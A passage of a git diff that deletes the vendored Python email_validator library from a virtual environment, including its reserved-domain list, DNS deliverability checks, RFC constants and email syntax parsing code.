domain names without dots would be caught by the check that the domain -# name in an email address must have a period, but this list will also catch -# subdomains of these domains, which are also reserved. -SPECIAL_USE_DOMAIN_NAMES = [ - # The "arpa" entry here is consolidated from a lot of arpa subdomains - # for private address (i.e. non-routable IP addresses like 172.16.x.x) - # reverse mapping, plus some other subdomains. Although RFC 6761 says - # that application software should not treat these domains as special, - # they are private-use domains and so cannot have globally deliverable - # email addresses, which is an assumption of this library, and probably - # all of arpa is similarly special-use, so we reject it all. - "arpa", - - # RFC 6761 says applications "SHOULD NOT" treat the "example" domains - # as special, i.e. applications should accept these domains. - # - # The domain "example" alone fails our syntax validation because it - # lacks a dot (we assume no one has an email address on a TLD directly). - # "@example.com/net/org" will currently fail DNS-based deliverability - # checks because IANA publishes a NULL MX for these domains, and - # "@mail.example[.com/net/org]" and other subdomains will fail DNS- - # based deliverability checks because IANA does not publish MX or A - # DNS records for these subdomains. - # "example", # i.e. "wwww.example" - # "example.com", - # "example.net", - # "example.org", - - # RFC 6761 says that applications are permitted to treat this domain - # as special and that DNS should return an immediate negative response, - # so we also immediately reject this domain, which also follows the - # purpose of the domain. - "invalid", - - # RFC 6762 says that applications "may" treat ".local" as special and - # that "name resolution APIs and libraries SHOULD recognize these names - # as special," and since ".local" has no global definition, we reject - # it, as we expect email addresses to be gloally routable. - "local", - - # RFC 6761 says that applications (like this library) are permitted - # to treat "localhost" as special, and since it cannot have a globally - # deliverable email address, we reject it. - "localhost", - - # RFC 7686 says "applications that do not implement the Tor protocol - # SHOULD generate an error upon the use of .onion and SHOULD NOT - # perform a DNS lookup. - "onion", - - # Although RFC 6761 says that application software should not treat - # these domains as special, it also warns users that the address may - # resolve differently in different systems, and therefore it cannot - # have a globally routable email address, which is an assumption of - # this library, so we reject "@test" and "@*.test" addresses, unless - # the test_environment keyword argument is given, to allow their use - # in application-level test environments. These domains will generally - # fail deliverability checks because "test" is not an actual TLD. - "test", -] diff --git a/venv/Lib/site-packages/email_validator/__main__.py b/venv/Lib/site-packages/email_validator/__main__.py deleted file mode 100644 index 84d9fd4770f6570a2cb98d522fc73ac28967d30b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator/__main__.py +++ /dev/null @@ -1,61 +0,0 @@ -# A command-line tool for testing. -# -# Usage: -# -# python -m email_validator test@example.org -# python -m email_validator < LIST_OF_ADDRESSES.TXT -# -# Provide email addresses to validate either as a command-line argument -# or in STDIN separated by newlines. Validation errors will be printed for -# invalid email addresses. When passing an email address on the command -# line, if the email address is valid, information about it will be printed. -# When using STDIN, no output will be given for valid email addresses. -# -# Keyword arguments to validate_email can be set in environment variables -# of the same name but uppercase (see below). - -import json -import os -import sys -from typing import Any, Dict, Optional - -from .validate_email import validate_email, _Resolver -from .deliverability import caching_resolver -from .exceptions import EmailNotValidError - - -def main(dns_resolver: Optional[_Resolver] = None) -> None: - # The dns_resolver argument is for tests. - - # Set options from environment variables. - options: Dict[str, Any] = {} - for varname in ('ALLOW_SMTPUTF8', 'ALLOW_EMPTY_LOCAL', 'ALLOW_QUOTED_LOCAL', 'ALLOW_DOMAIN_LITERAL', - 'ALLOW_DISPLAY_NAME', - 'GLOBALLY_DELIVERABLE', 'CHECK_DELIVERABILITY', 'TEST_ENVIRONMENT'): - if varname in os.environ: - options[varname.lower()] = bool(os.environ[varname]) - for varname in ('DEFAULT_TIMEOUT',): - if varname in os.environ: - options[varname.lower()] = float(os.environ[varname]) - - if len(sys.argv) == 1: - # Validate the email addresses passed line-by-line on STDIN. - dns_resolver = dns_resolver or caching_resolver() - for line in sys.stdin: - email = line.strip() - try: - validate_email(email, dns_resolver=dns_resolver, **options) - except EmailNotValidError as e: - print(f"{email} {e}") - else: - # Validate the email address passed on the command line. - email = sys.argv[1] - try: - result = validate_email(email, dns_resolver=dns_resolver, **options) - print(json.dumps(result.as_dict(), indent=2, sort_keys=True, ensure_ascii=False)) - except EmailNotValidError as e: - print(e) - - -if __name__ == "__main__": - main() diff --git a/venv/Lib/site-packages/email_validator/deliverability.py b/venv/Lib/site-packages/email_validator/deliverability.py deleted file mode 100644 index 6100a312145e4c20d1349f14e15b547fad7ea22f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator/deliverability.py +++ /dev/null @@ -1,159 +0,0 @@ -from typing import Any, List, Optional, Tuple, TypedDict - -import ipaddress - -from .exceptions import EmailUndeliverableError - -import dns.resolver -import dns.exception - - -def caching_resolver(*, timeout: Optional[int] = None, cache: Any = None, dns_resolver: Optional[dns.resolver.Resolver] = None) -> dns.resolver.Resolver: - if timeout is None: - from . import DEFAULT_TIMEOUT - timeout = DEFAULT_TIMEOUT - resolver = dns_resolver or dns.resolver.Resolver() - resolver.cache = cache or dns.resolver.LRUCache() - resolver.lifetime = timeout # timeout, in seconds - return resolver - - -DeliverabilityInfo = TypedDict("DeliverabilityInfo", { - "mx": List[Tuple[int, str]], - "mx_fallback_type": Optional[str], - "unknown-deliverability": str, -}, total=False) - - -def validate_email_deliverability(domain: str, domain_i18n: str, timeout: Optional[int] = None, dns_resolver: Optional[dns.resolver.Resolver] = None) -> DeliverabilityInfo: - # Check that the domain resolves to an MX record. If there is no MX record, - # try an A or AAAA record which is a deprecated fallback for deliverability. - # Raises an EmailUndeliverableError on failure. On success, returns a dict - # with deliverability information. - - # If no dns.resolver.Resolver was given, get dnspython's default resolver. - # Override the default resolver's timeout. This may affect other uses of - # dnspython in this process. - if dns_resolver is None: - from . import DEFAULT_TIMEOUT - if timeout is None: - timeout = DEFAULT_TIMEOUT - dns_resolver = dns.resolver.get_default_resolver() - dns_resolver.lifetime = timeout - elif timeout is not None: - raise ValueError("It's not valid to pass both timeout and dns_resolver.") - - deliverability_info: DeliverabilityInfo = {} - - try: - try: - # Try resolving for MX records (RFC 5321 Section 5). - response = dns_resolver.resolve(domain, "MX") - - # For reporting, put them in priority order and remove the trailing dot in the qnames. - mtas = sorted([(r.preference, str(r.exchange).rstrip('.')) for r in response]) - - # RFC 7505: Null MX (0, ".") records signify the domain does not accept email. - # Remove null MX records from the mtas list (but we've stripped trailing dots, - # so the 'exchange' is just "") so we can check if there are no non-null MX - # records remaining. - mtas = [(preference, exchange) for preference, exchange in mtas - if exchange != ""] - if len(mtas) == 0: # null MX only, if there were no MX records originally a NoAnswer exception would have occurred - raise EmailUndeliverableError(f"The domain name {domain_i18n} does not accept email.") - - deliverability_info["mx"] = mtas - deliverability_info["mx_fallback_type"] = None - - except dns.resolver.NoAnswer: - # If there was no MX record, fall back to an A or AAA record - # (RFC 5321 Section 5). Check A first since it's more common. - - # If the A/AAAA response has no Globally Reachable IP address, - # treat the response as if it were NoAnswer, i.e., the following - # address types are not allowed fallbacks: Private-Use, Loopback, - # Link-Local, and some other obscure ranges. See - # https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml - # https://www.iana.org/assignments/iana-ipv6-special-registry/iana-ipv6-special-registry.xhtml - # (Issue #134.) - def is_global_addr(address: Any) -> bool: - try: - ipaddr = ipaddress.ip_address(address) - except ValueError: - return False - return ipaddr.is_global - - try: - response = dns_resolver.resolve(domain, "A") - - if not any(is_global_addr(r.address) for r in response): - raise dns.resolver.NoAnswer # fall back to AAAA - - deliverability_info["mx"] = [(0, domain)] - deliverability_info["mx_fallback_type"] = "A" - - except dns.resolver.NoAnswer: - - # If there was no A record, fall back to an AAAA record. - # (It's unclear if SMTP servers actually do this.) - try: - response = dns_resolver.resolve(domain, "AAAA") - - if not any(is_global_addr(r.address) for r in response): - raise dns.resolver.NoAnswer - - deliverability_info["mx"] = [(0, domain)] - deliverability_info["mx_fallback_type"] = "AAAA" - - except dns.resolver.NoAnswer as e: - # If there was no MX, A, or AAAA record, then mail to - # this domain is not deliverable, although the domain - # name has other records (otherwise NXDOMAIN would - # have been raised). - raise EmailUndeliverableError(f"The domain name {domain_i18n} does not accept email.") from e - - # Check for a SPF (RFC 7208) reject-all record ("v=spf1 -all") which indicates - # no emails are sent from this domain (similar to a Null MX record - # but for sending rather than receiving). In combination with the - # absence of an MX record, this is probably a good sign that the - # domain is not used for email. - try: - response = dns_resolver.resolve(domain, "TXT") - for rec in response: - value = b"".join(rec.strings) - if value.startswith(b"v=spf1 "): - if value == b"v=spf1 -all": - raise EmailUndeliverableError(f"The domain name {domain_i18n} does not send email.") - except dns.resolver.NoAnswer: - # No TXT records means there is no SPF policy, so we cannot take any action. - pass - - except dns.resolver.NXDOMAIN as e: - # The domain name does not exist --- there are no records of any sort - # for the domain name. - raise EmailUndeliverableError(f"The domain name {domain_i18n} does not exist.") from e - - except dns.resolver.NoNameservers: - # All nameservers failed to answer the query. This might be a problem - # with local nameservers, maybe? We'll allow the domain to go through. - return { - "unknown-deliverability": "no_nameservers", - } - - except dns.exception.Timeout: - # A timeout could occur for various reasons, so don't treat it as a failure. - return { - "unknown-deliverability": "timeout", - } - - except EmailUndeliverableError: - # Don't let these get clobbered by the wider except block below. - raise - - except Exception as e: - # Unhandled conditions should not propagate. - raise EmailUndeliverableError( - "There was an error while checking if the domain name in the email address is deliverable: " + str(e) - ) from e - - return deliverability_info diff --git a/venv/Lib/site-packages/email_validator/exceptions.py b/venv/Lib/site-packages/email_validator/exceptions.py deleted file mode 100644 index 87ef13c5a1f50b51f5605164fe960d7cefc9da28..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator/exceptions.py +++ /dev/null @@ -1,13 +0,0 @@ -class EmailNotValidError(ValueError): - """Parent class of all exceptions raised by this module.""" - pass - - -class EmailSyntaxError(EmailNotValidError): - """Exception raised when an email address fails validation because of its form.""" - pass - - -class EmailUndeliverableError(EmailNotValidError): - """Exception raised when an email address fails validation because its domain name does not appear deliverable.""" - pass diff --git a/venv/Lib/site-packages/email_validator/py.typed b/venv/Lib/site-packages/email_validator/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/email_validator/rfc_constants.py b/venv/Lib/site-packages/email_validator/rfc_constants.py deleted file mode 100644 index e93441b2936714314da5e7bed23d113b1177f562..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator/rfc_constants.py +++ /dev/null @@ -1,63 +0,0 @@ -# These constants are defined by the email specifications. - -import re - -# Based on RFC 5322 3.2.3, these characters are permitted in email -# addresses (not taking into account internationalization) separated by dots: -ATEXT = r'a-zA-Z0-9_!#\$%&\'\*\+\-/=\?\^`\{\|\}~' -ATEXT_RE = re.compile('[.' + ATEXT + ']') # ATEXT plus dots -DOT_ATOM_TEXT = re.compile('[' + ATEXT + ']+(?:\\.[' + ATEXT + r']+)*\Z') - -# RFC 6531 3.3 extends the allowed characters in internationalized -# addresses to also include three specific ranges of UTF8 defined in -# RFC 3629 section 4, which appear to be the Unicode code points from -# U+0080 to U+10FFFF. -ATEXT_INTL = ATEXT + "\u0080-\U0010FFFF" -ATEXT_INTL_DOT_RE = re.compile('[.' + ATEXT_INTL + ']') # ATEXT_INTL plus dots -DOT_ATOM_TEXT_INTL = re.compile('[' + ATEXT_INTL + ']+(?:\\.[' + ATEXT_INTL + r']+)*\Z') - -# The domain part of the email address, after IDNA (ASCII) encoding, -# must also satisfy the requirements of RFC 952/RFC 1123 2.1 which -# restrict the allowed characters of hostnames further. -ATEXT_HOSTNAME_INTL = re.compile(r"[a-zA-Z0-9\-\." + "\u0080-\U0010FFFF" + "]") -HOSTNAME_LABEL = r'(?:(?:[a-zA-Z0-9][a-zA-Z0-9\-]*)?[a-zA-Z0-9])' -DOT_ATOM_TEXT_HOSTNAME = re.compile(HOSTNAME_LABEL + r'(?:\.' + HOSTNAME_LABEL + r')*\Z') -DOMAIN_NAME_REGEX = re.compile(r"[A-Za-z]\Z") # all TLDs currently end with a letter - -# Domain literal (RFC 5322 3.4.1) -DOMAIN_LITERAL_CHARS = re.compile(r"[\u0021-\u00FA\u005E-\u007E]") - -# Quoted-string local part (RFC 5321 4.1.2, internationalized by RFC 6531 3.3) -# The permitted characters in a quoted string are the characters in the range -# 32-126, except that quotes and (literal) backslashes can only appear when escaped -# by a backslash. When internationalized, UTF-8 strings are also permitted except -# the ASCII characters that are not previously permitted (see above). -# QUOTED_LOCAL_PART_ADDR = re.compile(r"^\"((?:[\u0020-\u0021\u0023-\u005B\u005D-\u007E]|\\[\u0020-\u007E])*)\"@(.*)") -QTEXT_INTL = re.compile(r"[\u0020-\u007E\u0080-\U0010FFFF]") - -# Length constants - -# RFC 3696 + errata 1003 + errata 1690 (https://www.rfc-editor.org/errata_search.php?rfc=3696&eid=1690) -# explains the maximum length of an email address is 254 octets based on RFC 5321 4.5.3.1.3. A -# maximum local part length is also given at RFC 5321 4.5.3.1.1. -# -# But RFC 5321 4.5.3.1 says that these (and other) limits are in a sense suggestions, and longer -# local parts have been seen in the wild. Consequntely, the local part length is only checked -# in "strict" mode. Although the email address maximum length is also somewhat of a suggestion, -# I don't like the idea of having no length checks performed, so I'm leaving that to always be -# checked. -EMAIL_MAX_LENGTH = 254 -LOCAL_PART_MAX_LENGTH = 64 - -# Although RFC 5321 4.5.3.1.2 gives a (suggested, see above) limit of 255 octets, RFC 1035 2.3.4 also -# imposes a length limit (255 octets). But per https://stackoverflow.com/questions/32290167/what-is-the-maximum-length-of-a-dns-name, -# two of those octets are taken up by the optional final dot and null root label. -DNS_LABEL_LENGTH_LIMIT = 63 # in "octets", RFC 1035 2.3.1 -DOMAIN_MAX_LENGTH = 253 # in "octets" as transmitted - -# RFC 2142 -CASE_INSENSITIVE_MAILBOX_NAMES = [ - 'info', 'marketing', 'sales', 'support', # section 3 - 'abuse', 'noc', 'security', # section 4 - 'postmaster', 'hostmaster', 'usenet', 'news', 'webmaster', 'www', 'uucp', 'ftp', # section 5 -] diff --git a/venv/Lib/site-packages/email_validator/syntax.py b/venv/Lib/site-packages/email_validator/syntax.py deleted file mode 100644 index 0b1c7b0ebb3c62345aa6561bec4887329c4e5bd3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/email_validator/syntax.py +++ /dev/null @@ -1,822 +0,0 @@ -from .exceptions import EmailSyntaxError -from .types import ValidatedEmail -from .rfc_constants import EMAIL_MAX_LENGTH, LOCAL_PART_MAX_LENGTH, DOMAIN_MAX_LENGTH, \ - DOT_ATOM_TEXT, DOT_ATOM_TEXT_INTL, ATEXT_RE, ATEXT_INTL_DOT_RE, ATEXT_HOSTNAME_INTL, QTEXT_INTL, \ - DNS_LABEL_LENGTH_LIMIT, DOT_ATOM_TEXT_HOSTNAME, DOMAIN_NAME_REGEX, DOMAIN_LITERAL_CHARS - -import re -import unicodedata -import idna # implements IDNA 2008; Python's codec is only IDNA 2003 -import ipaddress -from typing import Optional, Tuple, TypedDict, Union - - -def split_email(email: str) -> Tuple[Optional[str], str, str, bool]: - # Return the display name, unescaped local part, and domain part - # of the address, and whether the local part was quoted. If no - # display name was present and angle brackets do not surround - # the address, display name will be None; otherwise, it will be - # set to the display name or the empty string if there were - # angle brackets but no display name. - - # Typical email addresses have a single @-sign and no quote - # characters, but the awkward "quoted string" local part form - # (RFC 5321 4.1.2) allows @-signs and escaped quotes to appear - # in the local part if the local part is quoted. - - # A `display name ` format is also present in MIME messages - # (RFC 5322 3.4) and this format is also often recognized in - # mail UIs. It's not allowed in SMTP commands or in typical web - # login forms, but parsing it has been requested, so it's done - # here as a convenience. It's implemented in the spirit but not - # the letter of RFC 5322 3.4 because MIME messages allow newlines - # and comments as a part of the CFWS rule, but this is typically - # not allowed in mail UIs (although comment syntax was requested - # once too). - # - # Display names are either basic characters (the same basic characters - # permitted in email addresses, but periods are not allowed and spaces - # are allowed; see RFC 5322 Appendix A.1.2), or or a quoted string with - # the same rules as a quoted local part. (Multiple quoted strings might - # be allowed? Unclear.) Optional space (RFC 5322 3.4 CFWS) and then the - # email address follows in angle brackets. - # - # An initial quote is ambiguous between starting a display name or - # a quoted local part --- fun. - # - # We assume the input string is already stripped of leading and - # trailing CFWS. - - def split_string_at_unquoted_special(text: str, specials: Tuple[str, ...]) -> Tuple[str, str]: - # Split the string at the first character in specials (an @-sign - # or left angle bracket) that does not occur within quotes and - # is not followed by a Unicode combining character. - # If no special character is found, raise an error. - inside_quote = False - escaped = False - left_part = "" - for i, c in enumerate(text): - # < plus U+0338 (Combining Long Solidus Overlay) normalizes to - # ≮ U+226E (Not Less-Than), and it would be confusing to treat - # the < as the start of "" syntax in that case. Likewise, - # if anything combines with an @ or ", we should probably not - # treat it as a special character. - if unicodedata.normalize("NFC", text[i:])[0] != c: - left_part += c - - elif inside_quote: - left_part += c - if c == '\\' and not escaped: - escaped = True - elif c == '"' and not escaped: - # The only way to exit the quote is an unescaped quote. - inside_quote = False - escaped = False - else: - escaped = False - elif c == '"': - left_part += c - inside_quote = True - elif c in specials: - # When unquoted, stop before a special character. - break - else: - left_part += c - - # No special symbol found. The special symbols always - # include an at-sign, so this always indicates a missing - # at-sign. The other symbol is optional. - if len(left_part) == len(text): - # The full-width at-sign might occur in CJK contexts. - # We can't accept it because we only accept addresess - # that are actually valid. But if this is common we - # may want to consider accepting and normalizing full- - # width characters for the other special symbols (and - # full-width dot is already accepted in internationalized - # domains) with a new option. - # See https://news.ycombinator.com/item?id=42235268. - if "@" in text: - raise EmailSyntaxError("The email address has the \"full-width\" at-sign (@) character instead of a regular at-sign.") - - # Check another near-homoglyph for good measure because - # homoglyphs in place of required characters could be - # very confusing. We may want to consider checking for - # homoglyphs anywhere we look for a special symbol. - if "﹫" in text: - raise EmailSyntaxError('The email address has the "small commercial at" character instead of a regular at-sign.') - - raise EmailSyntaxError("An email address must have an @-sign.") - - # The right part is whatever is left. - right_part = text[len(left_part):] - - return left_part, right_part - - def unquote_quoted_string(text: str) -> Tuple[str, bool]: - # Remove surrounding quotes and unescape escaped backslashes - # and quotes. Escapes are parsed liberally. I think only - # backslashes and quotes can be escaped but we'll allow anything - # to be. - quoted = False - escaped = False - value = "" - for i, c in enumerate(text): - if quoted: - if escaped: - value += c - escaped = False - elif c == '\\': - escaped = True - elif c == '"': - if i != len(text) - 1: - raise EmailSyntaxError("Extra character(s) found after close quote: " - + ", ".join(safe_character_display(c) for c in text[i + 1:])) - break - else: - value += c - elif i == 0 and c == '"': - quoted = True - else: - value += c - - return value, quoted - - # Split the string at the first unquoted @-sign or left angle bracket. - left_part, right_part = split_string_at_unquoted_special(email, ("@", "<")) - - # If the right part starts with an angle bracket, - # then the left part is a display name and the rest - # of the right part up to the final right angle bracket - # is the email address, . - if right_part.startswith("<"): - # Remove space between the display name and angle bracket. - left_part = left_part.rstrip() - - # Unquote and unescape the display name. - display_name, display_name_quoted = unquote_quoted_string(left_part) - - # Check that only basic characters are present in a - # non-quoted display name. - if not display_name_quoted: - bad_chars = { - safe_character_display(c) - for c in display_name - if (not ATEXT_RE.match(c) and c != ' ') or c == '.' - } - if bad_chars: - raise EmailSyntaxError("The display name contains invalid characters when not quoted: " + ", ".join(sorted(bad_chars)) + ".") - - # Check for other unsafe characters. - check_unsafe_chars(display_name, allow_space=True) - - # Check that the right part ends with an angle bracket - # but allow spaces after it, I guess. - if ">" not in right_part: - raise EmailSyntaxError("An open angle bracket at the start of the email address has to be followed by a close angle bracket at the end.") - right_part = right_part.rstrip(" ") - if right_part[-1] != ">": - raise EmailSyntaxError("There can't be anything after the email address.") - - # Remove the initial and trailing angle brackets. - addr_spec = right_part[1:].rstrip(">") - - # Split the email address at the first unquoted @-sign. - local_part, domain_part = split_string_at_unquoted_special(addr_spec, ("@",)) - - # Otherwise there is no display name. The left part is the local - # part and the right part is the domain. - else: - display_name = None - local_part, domain_part = left_part, right_part - - if domain_part.startswith("@"): - domain_part = domain_part[1:] - - # Unquote the local part if it is quoted. - local_part, is_quoted_local_part = unquote_quoted_string(local_part) - - return display_name, local_part, domain_part, is_quoted_local_part - - -def get_length_reason(addr: str, limit: int) -> str: - """Helper function to return an error message related to invalid length.""" - diff = len(addr) - limit - suffix = "s" if diff > 1 else "" - return f"({diff} character{suffix} too many)" - - -def safe_character_display(c: str) -> str: - # Return safely displayable characters in quotes. - if c == '\\': - return f"\"{c}\"" # can't use repr because it escapes it - if unicodedata.category(c)[0] in ("L", "N", "P", "S"): - return repr(c) - - # Construct a hex string in case the unicode name doesn't exist. - if ord(c) < 0xFFFF: - h = f"U+{ord(c):04x}".upper() - else: - h = f"U+{ord(c):08x}".upper() - - # Return the character name or, if it has no name, the hex string. - return unicodedata.name(c, h) - - -class LocalPartValidationResult(TypedDict): - local_part: str - ascii_local_part: Optional[str] - smtputf8: bool - - -def validate_email_local_part(local: str, allow_smtputf8: bool = True, allow_empty_local: bool = False, - quoted_local_part: bool = False, strict: bool = False) -> LocalPartValidationResult: - """Validates the syntax of the local part of an email address.""" - - if len(local) == 0: - if not allow_empty_local: - raise EmailSyntaxError("There must be something before the @-sign.") - - # The caller allows an empty local part. Useful for validating certain - # Postfix aliases. - return { - "local_part": local, - "ascii_local_part": local, - "smtputf8": False, - } - - # Check the length of the local part by counting characters. - # (RFC 5321 4.5.3.1.1) - # We're checking the number of characters here. If the local part - # is ASCII-only, then that's the same as bytes (octets). If it's - # internationalized, then the UTF-8 encoding may be longer, but - # that may not be relevant. We will check the total address length - # instead. - if strict and len(local) > LOCAL_PART_MAX_LENGTH: - reason = get_length_reason(local, limit=LOCAL_PART_MAX_LENGTH) - raise EmailSyntaxError(f"The email address is too long before the @-sign {reason}.") - - # Check the local part against the non-internationalized regular expression. - # Most email addresses match this regex so it's probably fastest to check this first. - # (RFC 5322 3.2.3) - # All local parts matching the dot-atom rule are also valid as a quoted string - # so if it was originally quoted (quoted_local_part is True) and this regex matches, - # it's ok. - # (RFC 5321 4.1.2 / RFC 5322 3.2.4). - if DOT_ATOM_TEXT.match(local): - # It's valid. And since it's just the permitted ASCII characters, - # it's normalized and safe. If the local part was originally quoted, - # the quoting was unnecessary and it'll be returned as normalized to - # non-quoted form. - - # Return the local part and flag that SMTPUTF8 is not needed. - return { - "local_part": local, - "ascii_local_part": local, - "smtputf8": False, - } - - # The local part failed the basic dot-atom check. Try the extended character set - # for internationalized addresses. It's the same pattern but with additional - # characters permitted. - # RFC 6531 section 3.3. - valid: Optional[str] = None - requires_smtputf8 = False - if DOT_ATOM_TEXT_INTL.match(local): - # But international characters in the local part may not be permitted. - if not allow_smtputf8: - # Check for invalid characters against the non-internationalized - # permitted character set. - # (RFC 5322 3.2.3) - bad_chars = { - safe_character_display(c) - for c in local - if not ATEXT_RE.match(c) - } - if bad_chars: - raise EmailSyntaxError("Internationalized characters before the @-sign are not supported: " + ", ".join(sorted(bad_chars)) + ".") - - # Although the check above should always find something, fall back to this just in case. - raise EmailSyntaxError("Internationalized characters before the @-sign are not supported.") - - # It's valid. - valid = "dot-atom" - requires_smtputf8 = True - - # There are no dot-atom syntax restrictions on quoted local parts, so - # if it was originally quoted, it is probably valid. More characters - # are allowed, like @-signs, spaces, and quotes, and there are no - # restrictions on the placement of dots, as in dot-atom local parts. - elif quoted_local_part: - # Check for invalid characters in a quoted string local part. - # (RFC 5321 4.1.2. RFC 5322 lists additional permitted *obsolete* - # characters which are *not* allowed here. RFC 6531 section 3.3 - # extends the range to UTF8 strings.) - bad_chars = { - safe_character_display(c) - for c in local - if not QTEXT_INTL.match(c) - } - if bad_chars: - raise EmailSyntaxError("The email address contains invalid characters in quotes before the @-sign: " + ", ".join(sorted(bad_chars)) + ".") - - # See if any characters are outside of the ASCII range. - bad_chars = { - safe_character_display(c) - for c in local - if not (32 <= ord(c) <= 126) - } - if bad_chars: - requires_smtputf8 = True - - # International characters in the local part may not be permitted. - if not allow_smtputf8: - raise EmailSyntaxError("Internationalized characters before the @-sign are not supported: " + ", ".join(sorted(bad_chars)) + ".") - - # It's valid. - valid = "quoted" - - # If the local part matches the internationalized dot-atom form or was quoted, - # perform additional checks for Unicode strings. - if valid: - # Check that the local part is a valid, safe, and sensible Unicode string. - # Some of this may be redundant with the range U+0080 to U+10FFFF that is checked - # by DOT_ATOM_TEXT_INTL and QTEXT_INTL. Other characters may be permitted by the - # email specs, but they may not be valid, safe, or sensible Unicode strings. - # See the function for rationale. - check_unsafe_chars(local, allow_space=(valid == "quoted")) - - # Try encoding to UTF-8. Failure is possible with some characters like - # surrogate code points, but those are checked above. Still, we don't - # want to have an unhandled exception later. - try: - local.encode("utf8") - except ValueError as e: - raise EmailSyntaxError("The email address contains an invalid character.") from e - - # If this address passes only by the quoted string form, re-quote it - # and backslash-escape quotes and backslashes (removing any unnecessary - # escapes). Per RFC 5321 4.1.2, "all quoted forms MUST be treated as equivalent, - # and the sending system SHOULD transmit the form that uses the minimum quoting possible." - if valid == "quoted": - local = '"' + re.sub(r'(["\\])', r'\\\1', local) + '"' - - return { - "local_part": local, - "ascii_local_part": local if not requires_smtputf8 else None, - "smtputf8": requires_smtputf8, - } - - # It's not a valid local part. Let's find out why. - # (Since quoted local parts are all valid or handled above, these checks - # don't apply in those cases.) - - # Check for invalid characters. - # (RFC 5322 3.2.3, plus RFC 6531 3.3) - bad_chars = { - safe_character_display(c) - for c in local - if not ATEXT_INTL_DOT_RE.match(c) - } - if bad_chars: - raise EmailSyntaxError("The email address contains invalid characters before the @-sign: " + ", ".join(sorted(bad_chars)) + ".") - - # Check for dot errors imposted by the dot-atom rule. - # (RFC 5322 3.2.3) - check_dot_atom(local, 'An email address cannot start with a {}.', 'An email address cannot have a {} immediately before the @-sign.', is_hostname=False) - - # All of the reasons should already have been checked, but just in case - # we have a fallback message. - raise EmailSyntaxError("The email address contains invalid characters before the @-sign.") - - -def check_unsafe_chars(s: str, allow_space: bool = False) -> None: - # Check for unsafe characters or characters that would make the string - # invalid or non-sensible Unicode. - bad_chars = set() - for i, c in enumerate(s): - category = unicodedata.category(c) - if category[0] in ("L", "N", "P", "S"): - # Letters, numbers, punctuation, and symbols are permitted. - pass - elif category[0] == "M": - # Combining character in first position would combine with something - # outside of the email address if concatenated, so they are not safe. - # We also check if this occurs after the @-sign, which would not be - # sensible because it would modify the @-sign. - if i == 0: - bad_chars.add(c) - elif category == "Zs": - # Spaces outside of the ASCII range are not specifically disallowed in - # internationalized addresses as far as I can tell, but they violate - # the spirit of the non-internationalized specification that email - # addresses do not contain ASCII spaces when not quoted. Excluding - # ASCII spaces when not quoted is handled directly by the atom regex. - # - # In quoted-string local parts, spaces are explicitly permitted, and - # the ASCII space has category Zs, so we must allow it here, and we'll - # allow all Unicode spaces to be consistent. - if not allow_space: - bad_chars.add(c) - elif category[0] == "Z": - # The two line and paragraph separator characters (in categories Zl and Zp) - # are not specifically disallowed in internationalized addresses - # as far as I can tell, but they violate the spirit of the non-internationalized - # specification that email addresses do not contain line breaks when not quoted. - bad_chars.add(c) - elif category[0] == "C": - # Control, format, surrogate, private use, and unassigned code points (C) - # are all unsafe in various ways. Control and format characters can affect - # text rendering if the email address is concatenated with other text. - # Bidirectional format characters are unsafe, even if used properly, because - # they cause an email address to render as a different email address. - # Private use characters do not make sense for publicly deliverable - # email addresses. - bad_chars.add(c) - else: - # All categories should be handled above, but in case there is something new - # to the Unicode specification in the future, reject all other categories. - bad_chars.add(c) - if bad_chars: - raise EmailSyntaxError("The email address contains unsafe characters: " - + ", ".join(safe_character_display(c) for c in sorted(bad_chars)) + ".") - - -def check_dot_atom(label: str, start_descr: str, end_descr: str, is_hostname: bool) -> None: - # RFC 5322 3.2.3 - if label.endswith("."): - raise EmailSyntaxError(end_descr.format("period")) - if label.startswith("."): - raise EmailSyntaxError(start_descr.format("period")) - if ".." in label: - raise EmailSyntaxError("An email address cannot have two periods in a row.") - - if is_hostname: - # RFC 952 - if label.endswith("-"): - raise EmailSyntaxError(end_descr.format("hyphen")) - if label.startswith("-"): - raise EmailSyntaxError(start_descr.format("hyphen")) - if ".-" in label or "-." in label: - raise EmailSyntaxError("An email address cannot have a period and a hyphen next to each other.") - - -def uts46_valid_char(char: str) -> bool: - # By exhaustively searching for characters rejected by - # for c in (chr(i) for i in range(0x110000)): - # idna.uts46_remap(c, std3_rules=False, transitional=False) - # I found the following rules are pretty close. - c = ord(char) - if 0x80 <= c <= 0x9f: - # 8-bit ASCII range. - return False - elif ((0x2010 <= c <= 0x2060 and not (0x2024 <= c <= 0x2026) and not (0x2028 <= c <= 0x202E)) - or c in (0x00AD, 0x2064, 0xFF0E) - or 0x200B <= c <= 0x200D - or 0x1BCA0 <= c <= 0x1BCA3): - # Characters that are permitted but fall into one of the - # tests below. - return True - elif unicodedata.category(chr(c)) in ("Cf", "Cn", "Co", "Cs", "Zs", "Zl", "Zp"): - # There are a bunch of Zs characters including regular space - # that are allowed by UTS46 but are not allowed in domain - # names anyway. - # - # There are some Cn (unassigned) characters that the idna - # package doesn't reject but we can, I think. - return False - elif "002E" in unicodedata.decomposition(chr(c)).split(" "): - # Characters that decompose into a sequence with a dot. - return False - return True - - -class DomainNameValidationResult(TypedDict): - ascii_domain: str - domain: str - - -def validate_email_domain_name(domain: str, test_environment: bool = False, globally_deliverable: bool = True) -> DomainNameValidationResult: - """Validates the syntax of the domain part of an email address.""" - - # Check for invalid characters. - # (RFC 952 plus RFC 6531 section 3.3 for internationalized addresses) - bad_chars = { - safe_character_display(c) - for c in domain - if not ATEXT_HOSTNAME_INTL.match(c) - } - if bad_chars: - raise EmailSyntaxError("The part after the @-sign contains invalid characters: " + ", ".join(sorted(bad_chars)) + ".") - - # Check for unsafe characters. - # Some of this may be redundant with the range U+0080 to U+10FFFF that is checked - # by DOT_ATOM_TEXT_INTL. Other characters may be permitted by the email specs, but - # they may not be valid, safe, or sensible Unicode strings. - check_unsafe_chars(domain) - - # Reject characters that would be rejected by UTS-46 normalization next but - # with an error message under our control. - bad_chars = { - safe_character_display(c) for c in domain - if 